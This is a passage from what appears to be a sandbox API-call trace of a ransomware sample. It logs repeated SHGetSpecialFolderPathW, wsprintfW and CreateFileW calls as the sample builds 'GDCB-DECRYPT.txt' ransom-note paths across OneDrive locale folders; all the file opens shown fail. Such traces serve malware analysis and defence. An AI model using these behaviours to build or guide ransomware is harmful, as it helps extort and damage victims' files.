hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.950] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\hy\\\\GDCB-DECRYPT.txt") returned 277 [0171.950] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\hy\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\hy\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.950] GetLastError () returned 0x3 [0171.950] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.950] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.950] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.950] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.951] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\id\\\\GDCB-DECRYPT.txt") returned 277 [0171.951] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\id\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\id\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.951] GetLastError () returned 0x3 [0171.951] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.951] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.951] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.951] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.951] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ig-ng\\\\GDCB-DECRYPT.txt") returned 280 [0171.951] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ig-ng\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\ig-ng\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.951] GetLastError () returned 0x3 [0171.951] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.951] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.951] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.951] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.951] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\imageformats\\\\GDCB-DECRYPT.txt") returned 287 [0171.951] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\imageformats\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\imageformats\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.951] GetLastError () returned 0x3 [0171.951] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.951] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.951] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.951] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.951] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\images\\\\GDCB-DECRYPT.txt") returned 281 [0171.951] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\images\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\images\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.951] GetLastError () returned 0x3 [0171.951] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.951] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.951] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.952] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.952] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\is\\\\GDCB-DECRYPT.txt") returned 277 [0171.952] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\is\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\is\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.952] GetLastError () returned 0x3 [0171.952] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.952] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.952] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.952] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.952] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\it\\\\GDCB-DECRYPT.txt") returned 277 [0171.952] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\it\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\it\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.952] GetLastError () returned 0x3 [0171.952] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.952] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.952] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.952] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.952] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ja\\\\GDCB-DECRYPT.txt") returned 277 [0171.952] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ja\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\ja\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.952] GetLastError () returned 0x3 [0171.952] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.952] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.952] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.952] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.952] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ka\\\\GDCB-DECRYPT.txt") returned 277 [0171.952] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ka\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\ka\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.952] GetLastError () returned 0x3 [0171.952] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.952] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.953] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.953] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.953] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\kk\\\\GDCB-DECRYPT.txt") returned 277 [0171.953] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\kk\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\kk\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.953] GetLastError () returned 0x3 [0171.953] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.953] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.953] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.953] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.953] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\km-kh\\\\GDCB-DECRYPT.txt") returned 280 [0171.953] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\km-kh\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\km-kh\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.953] GetLastError () returned 0x3 [0171.953] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.953] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.953] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.953] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.953] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\kn\\\\GDCB-DECRYPT.txt") returned 277 [0171.953] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\kn\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\kn\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.953] GetLastError () returned 0x3 [0171.953] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.953] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.953] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.953] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.953] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ko\\\\GDCB-DECRYPT.txt") returned 277 [0171.953] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ko\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\ko\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.953] GetLastError () returned 0x3 [0171.953] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.954] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.954] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.954] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.954] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\kok\\\\GDCB-DECRYPT.txt") returned 278 [0171.954] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\kok\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\kok\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.954] GetLastError () returned 0x3 [0171.954] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.954] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.954] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.954] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.954] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ku-arab\\\\GDCB-DECRYPT.txt") returned 282 [0171.954] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ku-arab\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\ku-arab\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.954] GetLastError () returned 0x3 [0171.954] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.954] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.954] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.954] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.954] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ky\\\\GDCB-DECRYPT.txt") returned 277 [0171.954] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ky\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\ky\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.954] GetLastError () returned 0x3 [0171.954] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: 